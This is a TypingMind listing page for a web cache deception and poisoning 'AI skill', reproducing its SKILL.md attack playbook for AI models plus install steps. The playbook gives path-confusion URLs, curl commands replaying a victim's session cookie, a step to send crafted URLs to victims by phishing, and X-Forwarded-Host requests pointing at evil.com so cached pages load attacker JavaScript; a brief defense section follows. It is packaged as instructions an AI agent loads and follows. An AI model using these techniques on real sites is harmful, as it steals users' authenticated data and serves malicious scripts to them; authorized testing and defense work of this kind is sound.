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Web Cache Deception

OrganizationPopular
yaklang
web-cache-deception

Web cache deception and poisoning playbook. Use when CDN, reverse proxy, or application caching may serve sensitive authenticated content to other users due to path confusion or cache key manipulation.

Overview

Publisheryaklang
Repositoryhack-skills
Skill nameweb-cache-deception
Stars
2.3K
Forks
314
Bundled files
1
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • 1 bundled files

    Scripts, templates, and references the model can read while it works. Files are read-only and never executed.

  • Open source

    Published by yaklang on GitHub. Read the source before you install it.

Installation

Install the Web Cache Deception AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
    https://github.com/yaklang/hack-skills/tree/main/skills/web-cache-deception
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/yaklang/hack-skills.git /tmp/hack-skills
mkdir -p .claude/skills
cp -r /tmp/hack-skills/skills/web-cache-deception .claude/skills/web-cache-deception
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Web Cache Deception in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Web Cache Deception on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Web Cache Deception is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

SKILL: Web Cache Deception — Expert Attack Playbook

AI LOAD INSTRUCTION: Web cache deception and poisoning techniques. Covers path confusion attacks, CDN cache behavior exploitation, cache key manipulation, and the distinction between cache deception (steal data) and cache poisoning (serve malicious content). Presented by Omer Gil at Black Hat 2017 and significantly expanded since.

Advanced Reference

Also load CACHE_POISONING_TECHNIQUES.md when you need:

  • Web Cache Poisoning vs Web Cache Deception — clear distinction and attack flow comparison
  • Unkeyed header poisoning (X-Forwarded-Host, X-Forwarded-Scheme, X-Original-URL, multiple Host headers)
  • Unkeyed parameter poisoning (utm_content, fbclid, callback, reflected but not in cache key)
  • Fat GET cache poisoning (body parameters reflected but not keyed)
  • Parameter cloaking via semicolons and duplicate parameter parsing differentials
  • CDN-specific behavior: Cloudflare, CloudFront, Akamai, Varnish, Fastly (cache key composition, debug headers, ESI)
  • Vary header manipulation, cache partitioning attacks, and missing Vary vulnerabilities

1. CORE CONCEPTS

Web Cache Deception (steal authenticated data)

The attacker tricks a victim into requesting their authenticated page at a URL that the cache considers static:

Victim visits: https://target.com/account/profile/nonexistent.css
→ Application ignores "nonexistent.css", serves /account/profile (with auth data)
→ CDN sees .css extension → caches the response
→ Attacker fetches: https://target.com/account/profile/nonexistent.css
→ CDN serves cached authenticated content → attacker reads victim's data

Web Cache Poisoning (serve malicious content)

The attacker manipulates unkeyed request components (headers, cookies) to make the cache store a malicious response:

GET /page HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
→ Application generates: <script src="https://evil.com/js/app.js">
→ Cache stores this response
→ Normal users hit cache → load attacker's JavaScript

2. CACHE DECEPTION — ATTACK METHODOLOGY

Step 1: Identify Cacheable Path Patterns

CDNs typically cache by file extension:

text
.css  .js  .jpg  .png  .gif  .svg  .ico
.woff .woff2  .ttf  .pdf  .json (sometimes)

Step 2: Test Path Confusion

text
# Append static extension to authenticated endpoint:
https://target.com/api/me/info.css
https://target.com/account/profile/x.js
https://target.com/settings/avatar.png
https://target.com/dashboard/data.json

# Path traversal style:
https://target.com/account/profile/..%2fstatic/app.css

Step 3: Verify Caching

bash
# Request as victim (authenticated):
curl -H "Cookie: session=VICTIM" https://target.com/account/profile/x.css

# Check response headers:
# X-Cache: MISS (first request)
# Age: 0

# Request again as attacker (no auth):
curl https://target.com/account/profile/x.css

# Check response:
# X-Cache: HIT
# Contains victim's authenticated content? → vulnerable

Step 4: Deliver to Victim

Send the crafted URL to victim via phishing, message, or embed:

https://target.com/account/profile/tracking.gif

3. CACHE POISONING — ATTACK METHODOLOGY

Unkeyed Input Discovery

Cache keys typically include: Host, URL path, query string. These are typically NOT in the cache key: X-Forwarded-Host, X-Forwarded-Scheme, X-Original-URL, cookies, custom headers.

bash
# Test if X-Forwarded-Host is reflected but not keyed:
curl -H "X-Forwarded-Host: evil.com" https://target.com/page
# If response contains evil.com and caches → poisonable

Common Unkeyed Headers

text
X-Forwarded-Host      X-Forwarded-Scheme    X-Forwarded-Proto
X-Original-URL        X-Rewrite-URL         X-Host
X-Forwarded-Server    Forwarded             True-Client-IP

Cache Poisoning via Host Header

GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com

→ Response: <link href="//evil.com/static/main.css">
→ Cached → all users load attacker's CSS/JS

4. PATH NORMALIZATION DIFFERENCES

The key to cache deception: CDN and application normalize paths differently.

ComponentBehavior
CDN (Cloudflare, Akamai)Caches based on full URL path including extension
Application (Rails, Django, Express)May ignore trailing path segments or extensions
Reverse proxy (Nginx)May strip or rewrite path before forwarding
text
# Application treats these as equivalent:
/account/profile
/account/profile/anything
/account/profile/x.css
/account/profile;.css

# CDN treats .css as cacheable static asset
→ Mismatch = vulnerability

5. CACHE POISONING REAL-WORLD PATTERN

X-Forwarded-Host → Open Graph / Meta Tag Injection

text
# Target page uses X-Forwarded-Host to generate meta tags:
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com

# Response:
<meta property="og:image" content="https://evil.com/assets/logo.png">
# or:
<link rel="canonical" href="https://evil.com/">

# If response is cached → all users see evil.com references
# Impact: XSS via injected JS path, phishing via canonical redirect, SEO hijack

Cache Deception with Path Separator Tricks

text
# Semicolon (treated as path parameter by some frameworks):
/account/profile;.css

# Encoded separators:
/account/profile%2F.css

# Trailing dot/space:
/account/profile/.css
/account/profile .css

6. DEFENSE

For Cache Deception

  • Cache only explicitly static paths (e.g., /static/*, /assets/*)
  • Never cache based on file extension alone
  • Set Cache-Control: no-store, private on authenticated endpoints
  • Use Vary: Cookie to prevent cross-user cache hits

For Cache Poisoning

  • Include all reflected headers in cache key
  • Validate and sanitize X-Forwarded-* headers
  • Use Cache-Control: no-cache for dynamic content
  • Strip unknown headers at CDN edge

6. TESTING CHECKLIST

□ Identify CDN/cache layer (X-Cache, Age, Via headers)
□ Append .css/.js/.png to authenticated API endpoints
□ Check if response is cached (X-Cache: HIT on second request)
□ Test path separators: /x.css, ;.css, %2F.css
□ Test unkeyed headers: X-Forwarded-Host, X-Original-URL
□ Verify Cache-Control headers on sensitive endpoints
□ Check Vary header presence
□ Test with and without authentication

Bundled files

The model reads these on demand while the skill is loaded. They are exposed as readable files and are never executed.

Frequently asked questions

What does the Web Cache Deception AI skill do?

Web cache deception and poisoning playbook. Use when CDN, reverse proxy, or application caching may serve sensitive authenticated content to other users due to path confusion or cache key manipulation.

Why use Web Cache Deception on TypingMind?

Because you install it once and use it with any model. Web Cache Deception is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Web Cache Deception in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/yaklang/hack-skills/tree/main/skills/web-cache-deception. TypingMind reads its SKILL.md and bundles its files and installs it as a skill you can enable per chat.

Which AI models can use Web Cache Deception?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Web Cache Deception?

As many as you like. As long as a model supports skills, you can use Web Cache Deception with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Web Cache Deception AI skill free?

Yes. It is published on GitHub by yaklang under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

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